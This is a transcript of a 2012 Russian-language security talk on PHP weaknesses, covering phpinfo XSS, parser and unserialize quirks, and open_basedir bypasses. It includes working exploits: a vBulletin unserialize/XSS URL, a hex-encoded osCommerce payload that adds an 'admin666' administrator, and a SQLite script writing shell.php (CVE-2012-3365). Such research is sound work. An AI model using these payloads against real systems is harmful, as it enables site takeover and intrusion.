Top Banner
PHP tricks Сергей «BlackFan» Бобров Август, 2012 г.
37

PHP Tricks

Feb 13, 2017

Download

Technology

BlackFan
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: PHP Tricks

PHP tricks

Сергей «BlackFan» Бобров

Август, 2012 г.

Page 2: PHP Tricks

Содержание

PHP Tricks• XSS в phpinfo

• Unserialize tricks

• etc…

vBulletin XSS via RCE

osCommerce Online Merchant 0day

PHP open_basedir bypass

Page 3: PHP Tricks

PHP trick #1 – XSS в phpinfo

Названия дополнительных модулей и заголовочная информация подвержены XSS

Page 4: PHP Tricks

PHP trick #2 – XSS в phpinfo

Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket Transports и Stream Filters была создана отдельная функция

Page 5: PHP Tricks

PHP trick #2 – XSS в phpinfo

Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket Transports и Stream Filters была создана отдельная функция

Page 6: PHP Tricks

PHP trick #3 – Баг парсера переменных

Неправильная замена символов в парсинге массивов в GET, POST, COOKIE

Page 7: PHP Tricks

PHP trick #3 – Баг парсера переменных

Неправильная замена символов в парсинге массивов в GET, POST, COOKIE

GET /var_parser.php?aa%20aa=1

array(1) { ["aa_aa"]=> string(1) "1" }

GET /var_parser.php?a[a%20aa=1

array(1) { ["a_a aa"]=> string(1) "1" }

GET /var_parser.php?aa.aa=1

array(1) { ["aa_aa"]=> string(1) "1" }

GET /var_parser.php?a[a.aa=1

array(1) { ["a_a.aa"]=> string(1) "1" }

GET /var_parser.php?aa[aa=1

array(1) { ["aa_aa"]=> string(1) "1" }

GET /var_parser.php?a[a[aa=1

array(1) { ["a_a[aa"]=> string(1) "1" }

Page 8: PHP Tricks

PHP tricks – Unserialize tricks

Сериализация — процесс перевода какой-либо структуры данных в последовательность битов.

Обратной к операции сериализации является операция десериализации — восстановление начального состояния структуры данных из битовой последовательности.

Пример сериализованных данных в PHPO:4:”test”:2:{s:4:”var1”;s:4:”test”;s:4:”var2”;b:1;}

Page 9: PHP Tricks

PHP trick #4 – Unserialize trick #1

Целочисленное переполнение в unserialize

Page 10: PHP Tricks

PHP trick #5 – Unsirialize trick #2

Произвольный символ после строки

Page 11: PHP Tricks

PHP trick #6 – Unsirialize trick #3

«Необязательность» количества переменных и произвольные символы после них

Page 12: PHP Tricks

PHP tricks – Unsirialize tricks

Объединим все нарушения синтаксиса в одну строку

Page 13: PHP Tricks

PHP trick #7 – Unsirialize trick #4

Особенности выполнения деструктора

Page 14: PHP Tricks

vBulletin XSS via RCE

vBulletin nulled <= 3.8.2 Arbitrary Function Executionhttp://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/

class vB_Shutdown {…function __destruct() {

…foreach ($this->shutdown AS $key =>

$funcname) { $funcname();

Не будем останавливаться на вызове phpinfo()

Page 15: PHP Tricks

vBulletin XSS via RCE

debug_print_backtrace debug_print_backtrace prints a PHP backtrace. It prints the function calls,

included/required files and eval()ed stuff.

Пример вывода#0 vB_Shutdown->__destruct()#1 unserialize(a:1:{i:0;O:11:"vB_Shutdown":1:{s:8:"shutdown"; a:1:

{i:0;s:21:"debug_print_backtrace";}}}) called at [/path/forumdisplay.php:179]

Page 16: PHP Tricks

vBulletin XSS via RCE

Exploithttp://vbulletin/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=2a2d3492e8667cad2393b8bfe620e70b00130d2a a:2:{ i:0;s:36:"<script>alert('Fuck yeah!')</script>"; i:1;O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:1;s:21:"debug_print_backtrace";} }

Page 17: PHP Tricks

osCommerce Online Merchant 0day #1

osCommerce Online Merchant 2.3.* is an Open Source online shop e-commerce solution that is available for free

with a feature rich set of out-of-the-box online shopping cart functionality that blah-blah-blah...

Модуль «Who's Online»• Просмотр информации об активных пользователях• Просмотр содержимого их корзины

Page 18: PHP Tricks

osCommerce Online Merchant 0day #1

Реализация просмотра корзины в модуле «Who's Online»1. Берем сырые данные из сессии пользователя2. Находим подстроку содержащую объект корзины3. Десериализуем и обновляем массив _SESSION у администратора

(session_decode)

Аналогичные действия производим с • customer_id• сurrency• customer_country_id• customer_zone_id

Page 19: PHP Tricks

osCommerce Online Merchant 0day #1

Содержимое сессий пользователей / гостей• sessiontoken• cart• language• navigation (история посещений включая GET/POST параметры)• customer_id (отсутствует у гостей)• etc…

Page 20: PHP Tricks

osCommerce Online Merchant 0day #1

Реализация в коде

$start_id = strpos($session_data, 'customer_id|s');…$session_data_id = substr($session_data, $start_id,

(strpos($session_data, ';', $start_id) - $start_id + 1));…session_decode($session_data_id);

Page 21: PHP Tricks

osCommerce Online Merchant 0day #1

Эксплуатация• «customer_id» в сессии идет после истории посещений• Наличие в истории «customer_id|s» нарушит логику поиска переменной• Поиск идет до следующей точки с запятой

session_decode('customer_id|s|foobar|s:7:"AWESOME";');var_dump($_SESSION);

array(3) { ["customer_id"] => NULL ["s"] => NULL ["foobar"] => string(7) "AWESOME"}

Page 22: PHP Tricks

osCommerce Online Merchant 0day #2

Данные из сессии глобализуются с перезаписью

if (($session_started == true) && (PHP_VERSION >= 4.3) && function_exists('ini_get') &&

(ini_get('register_globals') == false) ) {

extract($_SESSION, EXTR_OVERWRITE+EXTR_REFS); }

Page 23: PHP Tricks

osCommerce Online Merchant 0day #3

Индексы GPC массивов не проходят функцию addslashesНачиная с PHP 5.4.0 get_magic_quotes_gpc() всегда возвращает false и эта функция срабатывает

function do_magic_quotes_gpc(&$ar) { … while (list($key, $value) = each($ar)) {

if (is_array($ar[$key])) { do_magic_quotes_gpc($ar[$key]); } else { $ar[$key] = addslashes($value); }

Page 24: PHP Tricks

osCommerce Online Merchant 0day #100500

Используем все перечисленные баги, а так же• За счет перезаписи переменных сделаем XSS в messageToStack (стек

информационных сообщений отображаемых в админ-панеле)• Подделаем запрос на добавление админа путем перезаписи массива

HTTP_POST_VARS• Уберем «зараженную» через XSS

Page 25: PHP Tricks

Финальный эксплоит POST-запрос customer_id|s|HTTP_POST_VARS|a:2:

{s:8:"username"xs:8:"admin666"}s:8:"password"xs:8:"admin666"}}messageToStack|a:2:{s:1:"0"xa:2:{s:4:"text"xS:136:"Session\20expired.\20Please\20relogin.\3c\69\66\72\61\6d\65\20\73\72\63\3d\22\61\64\6d\69\6e\69\73\74\72\61\74\6f\72\73\2e\70\68\70\3f\61\63\74\69\6f\6e\3d\69\6e\73\65\72\74\22\20\73\74\79\6c\65\3d\22\76\69\73\69\62\69\6c\69\74\79\3a\68\69\64\64\65\6e\3b\77\69\64\74\68\3a\30\70\78\3b\68\65\69\67\68\74\3a\30\70\78\3b\22\3e\3c\2f\69\66\72\61\6d\65\3e"}s:4:"type"xs:0:""x}s:1:"1"xa:2:{s:4:"text"xS:100:"\3c\73\63\72\69\70\74\3e\73\65\74\49\6e\74\65\72\76\61\6c\28\66\75\6e\63\74\69\6f\6e\28\29\7b\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\3d\27\6f\73\43\41\64\6d\69\6e\49\44\3d\27\3b\64\6f\63\75\6d\65\6e\74\2e\6c\6f\63\61\74\69\6f\6e\3d\27\2f\27\3b\7d\2c\20\32\30\30\30\29\3c\2f\73\63\72\69\70\74\3e"}s:4:"type"xs:0:""x}}=1

osCommerce Online Merchant 0day #100500

Page 26: PHP Tricks

Логика эксплоита:• Заражаем свою историю посещений• После открытия администратором модуля «who’s online» происходит

заражение его сессии• При следущем запросе администратору выдаст сообщение «Session

expired. Please relogin.»• В iframe подгрузится «administrators.php?action=insert» и добавится

администратор admin666:admin666• Через XSS перебрасываем админа на главную и очищаем

идентификатор с зараженной сессией <script>setInterval(function(){document.cookie='osCAdminID='; document.location='/';}, 2000)</script>

osCommerce Online Merchant 0day #100500

Page 27: PHP Tricks

open_basedir Ограничивает указанным деревом каталогов файлы, которые могут

быть открыты с помощью PHP, включая сам файл. Эта директива НЕ подвержена влиянию безопасного режима.

http://www.php.net/manual/ru/ini.core.php#ini.open-basedir

PHP open_basedir bypass

Page 28: PHP Tricks

Разная реакция функций на существующий и несуществующий файл за пределами open_basedir

var_dump(realpath('../test1.txt'));Warning: realpath() [function.realpath]: open_basedir restriction in effect.False

var_dump(realpath('../test1_.txt'));False

PHP open_basedir bypass #0

Page 29: PHP Tricks

Разная реакция функций на существующий и несуществующий файл за пределами open_basedir

$z = new ZipArchive(); $z->open(“openbd.zip”,ZIPARCHIVE::CREATE); $z->addGlob(“/*”);

Warning: ZipArchive::addGlob() [ziparchive.addglob]: open_basedir restriction in effect. File(/bin/) is not within the allowed path(s):

PHP open_basedir bypass #1

Page 30: PHP Tricks

DirectoryIterator directory listing by BECHED (14.01.12)http://ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt

PHP open_basedir bypass #2

Page 31: PHP Tricks

Логика проверки open_basedirNew DirectoryIterator(‘glob://../*’);• Путь к файлу попадает в функцию проверки вместе с враппером

glob://../*• Путь относительный, дописываем текущую директорию

/var/www/site/glob://../*• Нормализуем путь

/var/www/site/*• Файл лежит в разрешенной директории, пропускаем

PHP open_basedir bypass #2

Page 32: PHP Tricks

SQLite In-Memory Databases

• An SQLite database is normally stored in a single ordinary disk file. However, in certain circumstances, the database might be stored in memory.

• The most common way to force an SQLite database to exist purely in memory is to open the database using the special filename ":memory:". For example: rc = sqlite3_open(":memory:", &db);

• When this is done, no disk file is opened. Instead, a new database is created purely in memory.

http://www.sqlite.org/inmemorydb.html

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 33: PHP Tricks

Варианты использования

• :memory:• file::memory:• file:%3A%6D%65%6D%6F%72%79%3A• file::memory:?cache=shared• file:memdb1?mode=memory&cache=shared

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 34: PHP Tricks

Реализация в коде/php-src/ext/sqlite3/sqlite3.c

/php-src/ext/sqlite3/libsqlite/sqlite3.c

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 35: PHP Tricks

Создание файлов за пределами open_basedir через SQLite

<?phpmkdir(‘:memory:’);$database = new SQLite3(“:memory:/../../shell.php”);$database->exec(“CREATE TABLE foo (bar STRING)”);$database->exec(“INSERT INTO foo (bar) VALUES (‘<?php phpinfo(); ?>’)”);$database->close();rmdir(‘:memory:’);

?>

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 36: PHP Tricks

Improve check for :memory: pseudo-filename in SQlite (https://github.com/php/php-src/commit/055ecbc62878e86287d742c7246c21606cee8183)

Было:

if (strncmp(filename, ":memory:", 8) != 0)

Стало:

if (memcmp(filename, ":memory:", sizeof(":memory:")) != 0)

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 37: PHP Tricks

Спасибо за внимание!

[email protected]